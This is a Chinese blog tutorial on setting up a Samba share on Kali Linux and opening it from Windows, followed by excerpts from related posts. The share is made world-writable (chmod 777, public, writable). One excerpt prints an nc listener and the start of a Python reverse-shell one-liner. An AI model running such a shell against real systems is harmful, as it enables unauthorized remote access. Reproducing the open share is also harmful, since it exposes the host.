代码编织梦想

简介

SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。

用于局域网分享网络文件用,也可以打印。

samba 是基于SMB协议(ServerMessage Block,信息服务块)的开源软件,samba也可以是SMB协议的商标。SMB是一种Linux、UNIX系统上可用于共享文件和打印机等资源的协议,这种协议是基于Client\Server型的协议,Client端可以通过SMB访问到Server(服务器)上的共享资源。当Windows是 Client,CentOS是服务器时,通过Samba就可以实现window访问Linux的资源,实现两个系统间的数据交互。

kali安装
apt-get install samba

配置samba共享目录

mkdir /root/share 

sudo chmod 777 -R /root/share //赋予可读可写权限

cd /etc/samba 
cp smb.conf smb.conf.bak

vim smb.conf //打开编辑smb.conf

//然后在尾部加入

[share]       
   path =/root/share       
   available = yes       
   browseable = yes       
   public= yes       
   writable = yes 

参数说明:

(a)path:共享的目录

(b)browseable:是否允许在工作组里面(no:网上邻居看不到你的)

(c)public:公开的 public,因为匿名任何人都能访问,所以要yes

(d)writetable:可写

root@kali:~# smbpasswd -a root
 New SMB password: Retype new SMB password: 
root@kali:~# vi /etc/samba/smb.conf 
 

在/etc/samba/smb.conf末尾追加

[share]          
  path =/root/share       
   available = yes       
   browseable = yes       
   public= yes       
   writable = yes          
  valid users=root 
  root@kali:~# service smbd restart
 

启动samba服务器

service smbd start 
service nmbd start 

Samba是一套程序,其中最重要的两个进程是nmbd和smbd:

smb:提供SMB / CIFS服务(文件共享和打印)的守护进程,使用SMB协议与客户进行连接,完成用户认证,权限管理和文件共享任务。

nmb:提供NetBIOS名称服务的守护进程,可以帮助客户端定位服务器和域,相当于WindowsNT中的WINS服务器,如果只是单纯的共享文件可以关闭这个服务,这样就不用在防火墙中开发137、138端口,但是在Windows中“桌面”上的“网络”里不会在显示共享的主机,只能通过“运行” 打开 \IP 的方式连接到共享的目录。

windows下访问
快捷键:windows+R

我的kali的ip是 192.168.44.190

在windows运行中输入
\\192.168.44.190

在文件夹中可以看见 Share

接下来步骤验证共享是否成功:

Windows中打开Share文件夹,新建hello.txt文本文档,写入hello,kali;
返回kali,cd /root/share会看到一个share;
查看 vim hello.txt,显示 hello, kali
新加一行,如 hello, windows
返回Windows,查看share中的hello.txt。
共享成功。

无法访问share文件夹:
解决方法点这里

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_49071539/article/details/110442905

Docker consul容器发现与更新及consul-template守护进程-爱代码爱编程

一、Docker consul概述 1、背景 Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案,Consul的方案更“一站式”,内置了服务注册与发现框 架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案,不再需要依赖其他工具(比如ZooKeeper等)。

Docker下使用MySQL的binlog恢复数据-爱代码爱编程

文章目录 一、拉取mysql镜像并启动1、拉取镜像2、启动镜像二、创建数据库三、数据恢复 系统:CentOS 7 数据库:MySQL 5.7 Docker:19.03.13 一、拉取mysql镜像并启动 1、拉取镜像 docker pull mysql:5.7 镜像拉取好后查看一下 docker images

Linux指令学习2--压缩解压命令以及网络命令-爱代码爱编程

解压命令 gzip 和gunzip 命令(压缩和解压之后,之前文件不保留。) zip 和 unzip 命令 zip 【选项】XXX.zip (将要压缩的内容)unzip 【选项】XXX.zip (解压文件) 常用选项 zip 常用选项 :-r: 递归压缩,即压缩目录unzip 常用选项: -d<目录> :指定解压后文件的存放目录

Red Hat 7 制作本地YUM更新-爱代码爱编程

随着系统的升级,生产系统中的Red Hat 5或者6已经逐步走出生产系统,目前逐步成为主流的Red Hat 7已经投入生产,Red Hat 8已经进入大众视线,类似于6刚进入我们的认知范围。 Red Hat 和Centos不一样,一个可以在线更新,并且有很多国内的源的,例如腾讯、阿里yum源、163yum源。 1、什么是yum仓库? yum仓库就是使用yu

VMWare 各版本下载地址-爱代码爱编程

VMWare 各版本下载地址 作者:Bright Xu 官网地址 VMware Workstation Pro:https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html VMware Workstation 是适用于Windows和Lin

Nginx Rewrite功能解析-爱代码爱编程

文章目录 基本概念1: Rewrite跳转场景2:Rewrite实际场景3:Nginx正则表达式4:Rewrite命令5:location优先级6:比较rewrite和 location7:location优先级规则跳转方式1:基于域名的跳转2:基于客户端 IP 访问跳转3:基于旧、新域名跳转并加目录4:基于参数匹配的跳转5:基于目录下所有 PHP

kali 移动文件命令-爱代码爱编程

用法 mv [选项]… [-T] 源文件 目标文件 或:mv [选项]… 源文件… 目录 或:mv [选项]… -t 目录 源文件… 将<源文件>重命名为<目标文件>,或将<源文件>移动至指定<目录>。 必选参数对长短选项同时适用。 –backup[=CONTROL] 为每个已存在的目标文件创建备份 -b

Navicat连接kali数据库时,登录出现Access denied for user ‘root‘@‘localhost‘ (using password YES) 拒绝访问-爱代码爱编程

方法步骤 出现access denied的原因有如下可能:1)mysql的服务器停止2)用户的端口号或者IPnmap方法ufw3)mysql的配置文件错误4)root用户的密码错误 出现access denied的原因有如下可能: 1)mysql的服务器停止 重启mysql服务: service mysql restart 2)用户的

记一次nc反弹shell-爱代码爱编程

在kali虚拟机上用nc监听端口7777 nc -lvp 7777 在ubuntu虚拟机上用python脚本去反向连接 python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('?.?.?.?',77

Linux 基础命令,永久更新-爱代码爱编程

移动: ctrl+alt ------------------------------------------光标移除虚拟机 cd /目录/----------------------------------------进入指定目录 cd … --------------------------------------------退出到上层目录 cd -

kali2019之后版本shell脚本自启动-爱代码爱编程

kali2019之后版本脚本自启动 @Time : 2020年12月2日, 0002 14:08@Author : 862897316@qq.com@Software: PyCharm 开始编写 脚本自启动 印象中,kali系统中是存在rc.local文件的,但是使用虚拟机安装的系统里面,并没有找到rc.loacl文件 因此设置脚本自启动方式就

VulnHub-TR0LL: 2-靶机渗透学习-爱代码爱编程

靶机地址:https://www.vulnhub.com/entry/tr0ll-2,107/ 靶机难度:中级(CTF) 靶机描述:Tr0ll系列VM中的下一台计算机,这比原始的Tr0ll难度有所提高,但是解决所需的时间大致相同,并且毫无疑问,巨魔仍然存在! 难度是从初学者到中级。 目标:得到root权限&找到proof.txt 作者:嗯嗯呐